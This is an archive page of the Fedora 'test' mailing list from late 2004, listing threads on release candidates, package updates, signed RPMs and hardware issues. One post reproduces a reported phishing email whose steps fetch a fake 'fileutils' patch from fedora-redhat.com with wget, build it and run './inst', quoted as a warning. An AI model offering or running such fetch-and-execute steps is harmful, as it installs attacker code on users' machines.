test October 2004

test@lists.fedoraproject.org

421 participants
682 discussions

How to enable vino?
by Aaron Gaudio 08 Nov '04

08 Nov '04

I've installed vino and tried to turn on the 'remote desktop' from the preferences, with a password. However, when I try to connect vncviewer to my box ("192.168.1.129:0") I get a connection refused. What am I missing? -- Aaron Gaudio <prothonotar(a)tarnation.dyndns.org>

9 19

warning to list
by mitch epling 06 Nov '04

06 Nov '04

ew Phishing Expedition Targets Red Hat/Fedora Users Oct 25, 2004, 02 :30 UTC (0 Talkback[s]) (6 reads) (Other stories by Brian Proffitt) http://linuxtoday.com/security/2004102500826SCRHSW By Brian Proffitt Managing Editor It's not often that someone tries launching a trojan attack on Linux users, but earlier this weekend it appears that someone was trying to do just that to Red Hat and Fedora Core users. An e-mail message was sent to several Red Hat users over the weekend, claiming to be from the RedHat [sic] Security Team. The note warned recipients to download and install a patch for fileutils-1.0.6, indicating that a vulnerability "could allow a remote attacker to execute arbitrary code with root privileges." The note was seen in the wild earlier this weekend, but it is still being delivered. This reporter received the message as late as 6:55 PM EDT today. The message arrived five times, and were all delivered to my work account, which is not the account I use to register products. The content of the note, complete with Red Hat logo, tries to tell a good tale, as seen below, but the spelling errors and the improper From address are clues of the note's false nature. "Original issue date: October 20, 2004 "Last revised: October 20, 2004 "Source: RedHat "A complete revision history is at the end of this file. "Dear RedHat user, "Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected. "The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps: * "First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz * Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz * cd fileutils-1.0.6.patch * make * ./inst "Again, please apply this patch as soon as possible or you risk your system and others` to be compromised. "Thank you for your prompt attention to this serious matter, RedHat Security Team..." The domain fedora-redhat.com is part of a netblock owned by Yahoo, according to Netcraft.com. It is not an official Red Hat site. The security team at Red Hat has already noted the existence of the fake warning, and has posted this message, dated October 23, at http://www.redhat.com/security/: "Red Hat has been made aware that emails are circulating that pretend to come from the Red Hat Security Team. These emails tell users to download and run an update from a users home directory. This fake update appears to contain malicious code. Official messages from the Red Hat security team are never sent unsolicited, are always sent from the address secalert(a)redhat.com, and are digitally signed by GPG. All official updates for Red Hat products are digitally signed and should not be installed unless they are correctly signed and the signature is verified..." Red Hat and Fedora Core users are urged not to download or install the software highlighted in this ficticious message.

21 56

Fedora Core 2 Test Update: wget-1.9.1-16.fc2
by Karsten Hopp 06 Nov '04

06 Nov '04

--------------------------------------------------------------------- Fedora Test Update Notification FEDORA-2004-351 2004-10-27 --------------------------------------------------------------------- Product : Fedora Core 2 Name : wget Version : 1.9.1 Release : 16.fc2 Summary : A utility for retrieving files using the HTTP or FTP protocols. Description : GNU Wget is a file retrieval utility which can use either the HTTP or FTP protocols. Wget features include the ability to work in the background while you are logged out, recursive retrieval of directories, file name wildcard matching, remote file timestamp storage and comparison, use of Rest with FTP servers and Range with HTTP servers to retrieve files over slow or unstable connections, support for Proxy servers, and configurability. --------------------------------------------------------------------- Update Information: This new release of wget adds support for large files >2Gb Please test if the following works (make sure that your web/ftp server supports large files): - downloads of files smaller / larger than 2Gb via http and ftp - continue aborted downloads smaller / larger 2Gb via http and ftp Add your feedback to http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=123524 If I hear of no larger problems until Thu Nov 04, this package will be released as an update for Fedora Core 2. Thanks Karsten --------------------------------------------------------------------- * Fri Oct 22 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-16.fc2 - build large file version for FC2 * Wed Sep 29 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-17 - additional LFS patch from Leonid Petrov to fix file lengths in http downloads * Thu Sep 16 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-16 - more fixes * Tue Sep 14 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-15 - added strtol fix from Leonid Petrov, reenable LFS * Tue Sep 14 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-14 - buildrequires gettext (#132519) * Wed Sep 01 2004 Karsten Hopp <karsten(a)redhat.de> 1.9.1-13 - disable LFS patch for now, it breaks normal downloads (123524#c15) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/2/ 0f36e50c0c40ffdd5508d3862c54ba6f SRPMS/wget-1.9.1-16.fc2.src.rpm 96be1e722ca313667b54b5fd1e04f824 x86_64/wget-1.9.1-16.fc2.x86_64.rpm 678ab943f66b4991ccd9c6d6c101652d x86_64/debug/wget-debuginfo-1.9.1-16.fc2.x86_64.rpm 945a00f2a922adaf2ff0f035972793a7 i386/wget-1.9.1-16.fc2.i386.rpm fc1841ba974b739454e16031cc927111 i386/debug/wget-debuginfo-1.9.1-16.fc2.i386.rpm This update can also be installed with the Update Agent; you can launch the Update Agent with the 'up2date' command. You may need to edit your up2date channels configuration. Within /etc/sysconfig/rhn/sources enable the following line: yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/2/$… --------------------------------------------------------------------- -- Karsten Hopp <karsten(a)redhat.de> GPG 1024D/70ABD02C Fingerprint D2D4 3B6B 2DE4 464C A432 210A DFF8 A140 70AB D02C Red Hat Deutschland, Hauptstaetter Str.58 70178 Stuttgart, Tel.+49-711-96437-0, Fax +49-711-96437-111

5 6

Should Fedora rpms be signed?
by nodata 05 Nov '04

05 Nov '04

A recent scam involving fake updates to Fedora has highlighted the lack of signed RPMs for Fedora Core. "Red Hat has been made aware that emails are circulating that pretend to come from the Red Hat Security Team" [..] "All official updates for Red Hat products are digitally signed and should not be installed unless they are correctly signed and the signature is verified." -- http://www.redhat.com/security/ It's possibly that some of the people testing Fedora Core are connected to a network of machines that they'd rather not put at risk. It might also be possible that a user testing Fedora Core could even use the same password as another machine connected to that network. Perhaps some users of Fedora Core also have personal information stored on the machine which FC is installed on. I posted a bug. I got a reply, from Duke: "1. fedora core is not a product, it is a project. 2. releases from rawhide are not official." -- https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136461 What does the list think about signed RPMs - are they unnecessary for a community project, or are they useful?

22 117

FC3rc5
by Elliot Lee 05 Nov '04

05 Nov '04

For your weekend enjoyment, please try: http://fedora.linux.duke.edu/FC3-rc/3/ http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/ http://testing.fedora.redhat.com/tree/ (still syncing, should be ready by 8pm EDT Oct 29.) This is likely to be the last FC3 release candidate, so please give it all the loving attention you possibly can. It does have fixes for some of the more serious issues reported here - your efforts are having results. When testing FC3rc5, things that could use extra-special attention are upgrades and the kernel. Please make sure to file any showstopper bugs (data loss or corruption, major install/upgrade failures) in bugzilla and bring the bug #'s to our attention. In respond to all the queries about "why are the .iso timestamps changing", it's because I'm putting the latest RC in the same location as the older ones, so the files do change. Thanks y'all! -- Elliot

19 45

KMail Links + Firefox Browser
by Robert Couture 05 Nov '04

05 Nov '04

Hello ... I discovered quite by accident that there is a problem with links in KMail & FireFox when I recently had trouble with Evolution. If I click on a link in a mail message when the browser loads all images are broken as well as all referneces to ccs files, and other resources because the URI is something like: file:///var/tmp/kdecache-fido/krun/27670.0.fedora.php This only happens with Firefox. Mozilla & Konquerer show the proper URI (in this case): http://i2o.shadowconnect.com/fedora.php Has anyone else experienced this? If so has it been bugzilla'd and where should itr be reported, Redhat or upstream? Thanks. Rob.

2 2

System Settings=>Network rant
by Timothy Murphy 04 Nov '04

04 Nov '04

I want to be able to use my laptop easily in 2 places - home and work. I imagine this is a very common wish. I'm baffled by the enormous problem Fedora seems to be making of this. There seem to be 3 different applications which deal with the issue: 1. The System Settings->Network GUI which apparently comes with Fedora 2. NetApplet 3 NetworkManager I have had prblems with all three. As I said, I'm baffled by this, as the issue seems to me almost trivial. I have two tiny shell scripts which do the job OK for me, so it can hardly require brain surgery. But I'd like touse a standard system if there is one that works. The problems I've encountered: 1. Changes to one profile affect other profiles 2. I tried compiling this, but it did not function at all - probably my fault 3. Seemed only to work with dhcp, which I don't use at home. -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland

5 4

FC3 RC3 - Networked LPD server printing still not working.
by Gerry Tool 04 Nov '04

04 Nov '04

I have just done a fresh install of FC3, Release Candidate 3. Printing to a networked LPD server still will not work. This is a bug (#133064) that is assigned to the kernel. Telnet to the print server fails, but ping succeeds. FC2 telnets fine to the print server. Gerry Tool

8 15

5 second cpu spike in FC3T3
by W. Guy Thomas 04 Nov '04

04 Nov '04

I get this spike from the cpu every 5 seconds now that I'm on FC3T3. I can provide more info, but just for starters, has anyone else seene this? Is it the ext3 maybe? Thanks. -- =Guy 19:58:34 up 1 day, 22:27, 3 users, load average: 0.93, 0.79, 0.64

6 16

Kudos to whomever worked on the synaptics touchpad driver !
by Kim Lux 02 Nov '04

02 Nov '04

I'm using the new synaptics touchpad driver on my HP ZD7280. It works very, very well, better than it does in Windows. The scroll function is really handy. I've got two small criticisms: a) I dislike the "select when heldover" because it sometimes opens things I don't want to have opened. Is there a way to disable this ? b) The cursor gets a little jumpy in the corners, most noticeably when trying to open the menu in KDE. I'm wondering if there is something in the cursor positioning algorithm that causes this. I love how the tap and double tap work now. Question: is there a way to set the synaptics device parameters in a graphical tool, ie like system-config-mouse ?

6 16

Jump to page:

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

test October 2004